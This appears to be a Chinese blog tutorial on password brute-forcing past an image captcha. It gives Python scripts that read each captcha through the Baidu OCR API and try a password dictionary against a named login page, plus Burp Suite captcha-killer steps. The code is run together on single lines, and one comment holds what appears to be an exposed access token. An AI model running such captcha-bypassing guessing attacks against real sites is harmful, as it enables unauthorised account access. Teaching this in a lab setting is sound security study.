带有验证码的爆破

  1. 爆破环境

    • 登录页面具有验证码的验证,并且验证码是以图片的形式展示的。
    • 没有次数限制和时间限制(符合爆破的要求!)
  2. 爆破原理

    爆破主要是通过不断提交数据表单来试错,当然前提就是次数不限,当我们遇到有验证码阻拦的时候,我们的思路就要发生变化了(因为后台多了一个验证码的验证)想要通过验证并且试错密码,我们需要获取到验证码。

  3. 爆破过程

    1. 获取验证码的思路就是,我们通过API的接口来对图片进行识别(这里的前提是我们需要知道产生验证码的路径,也就是可以获得图片的路径),这里的API在我看来就是一个处理图片的一个函数?通过传递一些参数,来达到返回图片中的数值。

      import requests
      import base64#获取access_token的函数(原理也是根据百度提供的AK、SK)
      def baidu_orc():# client_id 为官网获取的AK, client_secret 为官网获取的SKhost = 'https://aip.baidubce.com/oauth/2.0/token?grant_type=client_credentials&client_id=官网获取的AK&client_secret=官网获取的SK'response = requests.get(host)if response:return (response.json()['access_token'])# 24.a1d036d11bd73f692d431a0349fe6dc5.2592000.1665890365.282335-27492365# encoding:utf-8#为什么要获取access_token?就是因为我们在调用API接口的时候需要这个的验证,这可能也是百度作为识别用户的一个凭证
      def get_vcode():session = requests.session()#这里我们需要将这次申请的session记录下来,方便我们以后的爆破,因为根据验证码的验证机制,我们明白这是设置了session,并且验证码就存在session中,所以要记录下来。request_url = "https://aip.baidubce.com/rest/2.0/ocr/v1/general_basic"img = session.get('自己的url')  # print(session.cookies)img = base64.b64encode(img.content)params = {"image": img}access_token = '[自己的access_token]'request_url = request_url + "?access_token=" + access_tokenheaders = {'content-type': 'application/x-www-form-urlencoded'}response = requests.post(request_url, data=params, headers=headers)vcode = response.json()['words_result'][0]['words']return vcode, session#这里返回的vcode就是我们验证码图片中的值,而为什么要返回session,这个session中包含我们的真实的验证码,而vcode就是我们通过API接口获得的值(也不能保证百分百是正确的)
      
    2. 进行密码爆破

      思路就是,先要取下我们通过API接口获得的验证码,密码的爆破就和之前一样,这次唯一不同的就是,需要每次爆破时都要通过API接口获取爆破验证码。验证码得到验证以后,我们接下来就需要爆破密码。主要的思路就是遍历字典,不断试错。

      普通版:

      def blasting_login(passwd):                                 #这里传入的就是我们试错的字典vcode, session = get_vcode()data = {'username': 'root', 'password': passwd, 'verifycode': vcode}login_url = 'https://scyes.xyz/safe13/login-prepare.php'resp = session.post(url=login_url, data=data)if ("code-eroor" in resp.text):print("验证码出错")print(data)if (("login-fail" not in resp.text) and ("code-eroor" not in resp.text)):print(f'登录成功,payload为:{data}')if __name__ == '__main__':with open('./password-top6000.txt', 'r') as fp:        #读取字典passwd_list = fp.readlines()                       #存放数据for passwd in passwd_list:blasting_login(passwd.strip())sleep(2)#进行休眠2秒 因为API接口那个有限制
      

      多线程:

      if __name__ == '__main__':with open('./password-top6000.txt', 'r') as fp:passwd_list = fp.readlines()for passwd in passwd_list:passwd = passwd.strip()threading.Thread(target=blasting_login,args=(passwd,)).start()sleep(2)
      
  4. 利用Burp suite进行爆破

    1. 准备工作

      • 需要有Burp suite工具,并且保证可以正常运行

      • 安装captcha-killer 0.1.2插件,本人觉得就是一个可以在bP上运行的一个模块(原理就是我们上面用python代码实现的爆破一样)在bp上安装插件。

    2. 爆破过程

      • 首先开启截断(截断的前提就是我们的浏览器需要开启代理,因为只要开启了代理,我们的bp才可以截断数据包)

      • 我们在浏览器中访问目标网址

        这里就可以看到我们的bp成功截断了,我们只需要点击forward让他转发出去,让一下个产生验证码的页面展现出来。

        这里我们会看到我们点击forward之后的样子,因为我们没有转发vcode.php所以验证码会消失。

      • 接收验证码

        我们将此请求发送到我们安装的插件模块中

        下拉右下角到底,选中words中的值,右键标记为识别结果,我们就可以在右侧看到我们通过API接口获得的验证码了

        ​ 这里介绍一下这个模块,在左上角就是我们请求的页面,右上角就是我们请求的结果,左下角就是需要我们的API接口,右下角就是结果。

      • forward验证码页面,Repeater(重放登录接口)

        我们forward验证码以后,我们就是要进入登录接口,输入账号密码,验证以后,这里我们需要把接口页面Repeater,在Repeater中修改我们的sessionID和刚才那个验证码的session一样。

        修改完毕后,就可以进行爆破了

      • 密码爆破

        将Repeater中修改完的内容发送到Intruder中,选择正确的模式

        选择payload,这里第一个payload只是简单的密码,第二个则需要注意我们选择与captcha-killer 0.1.2关联,意思就是将我们在captcha-killer 0.1.2中得到验证码作为我们的第二个payload使用,然后点击attack就好了。

        在Attack的框中我们可以看到我们刚才添加的payload和服务器给我们的反应,因为我这里显示的比较简单,大家从长度可能看不出什么,我们可以从响应中看到,我们收到的login-pass就说明我们成功了。

  5. 总结

    1. 带有验证码的爆破思路:就是通过API接口获取验证码的值(当然只是仅限图片验证码),然后重复密码爆破。
    2. 整个爆破流程:获取验证码->保持session->遍历密码字典->通过一致的session来不断试错->爆破成功

带有验证码的爆破(包含Burp suite工具爆破)相关推荐

  1. Burp Suite 工具 目录

    Burp Suite 工具 Target Proxy Intruder Repeater Sequencer Decoder Comparer Extender Clickbandit Mobile ...

  2. Burp Suite工具详解

    Burp Suite 简介 Burp Suite(简称Burp)是一款Web安全领域的跨平台工具,基于Java开发.它集成了很多用于发现常见Web漏洞的模块,如:Proxy.Spider.Intrud ...

  3. 【Burp Suite工具-1】BurpSuite简介及安装过程详解(含please supply the following JVM argument错误提示原因)

    目录 1 Burpsuite简介 2 Burpsuite安装过程 2.1 安装Java环境 2.2 配置环境变量 2.3 Burpsuite绿色版安装 3 总结 4 参考文献 1 Burpsuite简 ...

  4. Burp Suite工具破解短信验证码登录

    1.首先抓取登录的包,右击选择发送给Intruder 2.选择测试器,目标中显示攻击目标信息 3.测试器-位置中,攻击类型选择狙击手,首先点击清除按钮,清除掉已设置负载的字段,双击需要分配有效负载的字 ...

  5. Burp suite工具使用及功能模块介绍

    安全渗透界使用最广泛的漏扫工具之一,能实现从漏洞发现到利用的完整过程.功能强大.配置较为复杂.可定制型强,支持丰富的第三方拓展插件.基于Java编写,跨平台支持,分为free (社区版)Profess ...

  6. Burp Suite工具

    一.配置及代理设置 1.使用前配置 ①选择代理Proxy选项卡 ②选择设置option选项卡 ③Edit Running打勾 124.0.0.1:8080 访问历史: 功能模块讲解:   模块介绍 s ...

  7. 靶机、软件搭建:05---Burp Suite工具的安装与使用(Windows环境)

    一.Burp Suite简介 Burp Suite 是一款集成化的渗透测试工具,包含了很多功能,可以帮助我们高效地完成对Web应用程序的渗透测试和攻击 特点:Burp Suite由Java语言编写,基 ...

  8. Web漏洞扫描(三:Burp Suite的基本操作)

    任务二.Burp Suite基础Proxy功能: 2.1.在Kali虚拟机中打开Burp Suite工具并设置,打开"Proxy"选项卡,选中"Options" ...

  9. 6.1 Burp Suite漏洞扫描使用

    目录 一.Burp Suite工具介绍 二.实验环境 三.实验步骤 一.Burp Suite工具介绍 Burp Suite是一个主要针对Web应用程序进行攻击的工具集,为便于在应用中实现不同工具之间的 ...

最新文章

  1. 接私活渠道,你有技术,就有钱!
  2. 解放双手 | Jenkins + gitlab + maven 自动打包部署项目
  3. MIT有个做披萨的GAN,登上了CVPR:加香肠、去橄榄、再烤熟,分层才是王道
  4. linux 下查看帮助信息
  5. LINUX设备模型BUS,DEVICE,DRIVER
  6. 2021年4月Oracle数据库补丁分析报告
  7. smooth_l1_loss(y_true, y_pred)
  8. jQuery设置iframe的高度根据页面内容自适应
  9. 通用的《求职信》范文模板
  10. 微信授权流程技术说明
  11. git commit--amend
  12. 2019字节跳动实习面试
  13. 腾讯云默认操作系统被安装的软件
  14. 压缩文件已损坏怎么办?恢复压缩文件,解决方法看这里
  15. Unknown column 'JOIN.id' in 'order clause'和 Unknown column 'XXXX.id' in 'order clause'的解决办法
  16. OmniGraffle-绘制流程图
  17. 3. Base64用途和原理
  18. 微信团队原创分享:Android版微信后台保活实战分享(进程保活篇)
  19. 前端HTML+CSS面试题汇总一
  20. Web Service与CORBA

热门文章

  1. java disposable_Android rxjava2的disposable
  2. 【Quiz】IoT产开 2018/19 Paper A 评测小结
  3. 三菱FX5U、Q系列、L系列PLC与SQL数据库双向通讯,对接MES
  4. 2022-2028年全球冷冻油收入年复合增长率CAGR为 2.6%
  5. 2020 从0到1搭建个人博客网站,图解超详细!(附带软件资源)
  6. 基于深度学习的PM2.5实时预测系统开发
  7. L1-007 念数字 (10 分)
  8. 如何取消OneDriver自动登陆并删除已经同步数据?
  9. backlog配置_redis tcp-backlog配置
  10. 力扣1089 的本手妙手俗手